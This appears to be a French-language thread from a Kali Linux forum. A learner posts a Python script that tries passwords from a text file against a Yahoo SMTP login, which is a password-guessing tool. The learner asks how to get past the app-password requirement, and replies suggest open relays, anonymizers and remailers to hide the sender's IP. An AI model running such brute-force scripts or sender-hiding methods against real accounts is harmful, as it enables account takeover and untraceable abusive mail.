Auteur Sujet: Authentification SMTP  (Lu 3533 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne hardlock

  • Membre Junior
  • *
  • Messages: 16
  • +0/-0
Authentification SMTP
« le: 24 janvier 2020 à 15:38:00 »
Hello !

Pour mon apprentissage, je me suis servis du script python de _john_doe poster ici que j'ai un peu modifié pour en comprendre le fonctionnement.

#!/usr/bin/python3
import smtplib
from smtplib import SMTP_SSL as SMTP
import os

smtpserver = smtplib.SMTP_SSL()
print("SSL OK")
smtpserver.connect("smtp.mail.yahoo.com", 465)
smtpserver.set_debuglevel(1)
print("SMTP OK")
smtpserver.ehlo()
print("ehlo OK")


email = "monadresse@yahoo.com"
passtxt = open("/mon/vers/mon/fichier/texte.txt", "r")
for connect in passtxt:
        try:
                smtpserver.login(email, connect)
                print(email)
                print("\033[1;32;40m Connexion etablie ...\n")
                break;
        except smtplib.SMTPAuthenticationError:
            pass
            print("\033[1;31;40m Connexion refuse ...\n")

(Vos remarques/corrections ou commentaires sont les bienvenues)


Pour que l'authentification se fasse je suis obligé de créer un accès spéciale via app (avec passwd unique) depuis mon adresse mail.
Question:
Comment contourner ça ?

Prochainement je me pencherai sur l'envoi de mail via script python pour continuer mon apprentissage ...
Question :
Est-il possible d'envoyer un mail en masquant l'ip ou passer par un vpn ?

(Pour cette questions ... un simple OUI ou NON fera l'affaire, j'aimerais juste savoir si c'est faisable en python car je ne trouve rien d'explicite sur le net à ce sujet)

« Modifié: 24 janvier 2020 à 15:42:19 par hardlock »

Hors ligne platon-y

  • Membre sérieux
  • ***
  • Messages: 358
  • +19/-4
  • *CCCP*
    • hackoibon
Re : Authentification SMTP
« Réponse #1 le: 24 janvier 2020 à 23:12:28 »
Hello !

Pour mon apprentissage, je me suis servis du script python de _john_doe poster ici
Question :
Est-il possible d'envoyer un mail en masquant l'ip ou passer par un vpn ?

(Pour cette questions ... un simple OUI ou NON fera l'affaire, j'aimerais juste savoir si c'est faisable en python car je ne trouve rien d'explicite sur le net à ce sujet)
Salut, alors je viens de lire le poste que tu site référençant le script, du coup pas sur que l'on est lu là même chose ? sinon tu ne serais pas là pour info^^. il est expliqué que le code n'est en rien complet, qu'éventuellement, des imports manque, et surtout que l'on ne voudrai pas que se script pouvant tout faire à votre place puissent être un copier coller. Ceci dit, pour ta deuxième question, oui/non, trop simple, oui s'est faisable si tu passe par un VPN, de préférences privée plutôt que public . mais non, caché ton IP dans ton mail ne te cacheras pas forcément il y aurait plus a faire, ne serait-ce que le cryptée, l'idée serait non pas de la masquer mais de donner de fausse informations.
Le premier susnommés hacker, fut le fou qui trouvas un sifflet dans une boites de kellogs et qui à imaginer pouvoir téléphoner gratuitement avec ses son émit...
Pour le reste...
https://pctamalou.fr/hackoibon/
Comment peut-on accepter la liberté sans libération?
Je sais juste que "rebelle" plus "lion" donne le mot "rébellion"

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 606
  • +36/-5
Re : Authentification SMTP
« Réponse #2 le: 25 janvier 2020 à 18:03:35 »

Prochainement je me pencherai sur l'envoi de mail via script python pour continuer mon apprentissage ...
Question :
Est-il possible d'envoyer un mail en masquant l'ip ou passer par un vpn ?

(Pour cette questions ... un simple OUI ou NON fera l'affaire, j'aimerais juste savoir si c'est faisable en python car je ne trouve rien d'explicite sur le net à ce sujet)
Oui c'est possible mais ce n'est pas via un VPN.
Il faut passer via un serveur SMTP configuré pour accepter l'open relay.
Je te laisse te documenter sur l'open relaying... ;)


Hors ligne platon-y

  • Membre sérieux
  • ***
  • Messages: 358
  • +19/-4
  • *CCCP*
    • hackoibon
Re : Authentification SMTP
« Réponse #3 le: 26 janvier 2020 à 10:07:25 »
http://www.the-cloak.com/anonymous-surfing-home.html

https://www.anonymizer.com/

https://www.obscura.com/

ne serait ce que pour rester anonyme, mais il y en as certainement d'autres,

Soft ether est aussi un très bon VPN, qui, pour ma part n'envoie pas mon IP et mon ipv6, ceci dit, les remailers sont des programmes accessibles sur Internet qui acheminent les e-mails et les publications USENET de manière anonyme (c'est-à-dire que le destinataire ne peut pas déterminer qui a envoyé l'e-mail ou publié l'article). De cette façon, l'expéditeur ne peut pas être retracé en routant les en-têtes inclus dans l'e-mail. Il existe différentes classes de "reposteurs", qui permettent l'échange anonyme de courriers électroniques et la publication anonyme sur USENET et souvent de nombreuses autres fonctionnalités utiles.

alors peut être n'ai-je pas saisie vraiment le sens de sa demande, si juste caché sa position et garder son anonymat...

si cela entre en compte pour un hack, désolé, d'autres site donnerons la solution et des script pythons sont déjà en ligne pour se faire, avec les donné fournis par john_doe, ont trouve ou l'on sais chercher ^^
https://pctamalou.fr/hackoibon/
Comment peut-on accepter la liberté sans libération?
Je sais juste que "rebelle" plus "lion" donne le mot "rébellion"

Hors ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2894
  • +167/-5
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Authentification SMTP
« Réponse #4 le: 26 janvier 2020 à 17:34:24 »
Open relay avec ton propre serveur SMTP est la solution.
Mess  with the bests.
Die like the rest.

Hors ligne hardlock

  • Membre Junior
  • *
  • Messages: 16
  • +0/-0
Re : Authentification SMTP
« Réponse #5 le: 28 janvier 2020 à 21:39:55 »
Merci pour vos réponses.

Je continue à apprendre et à me documenter.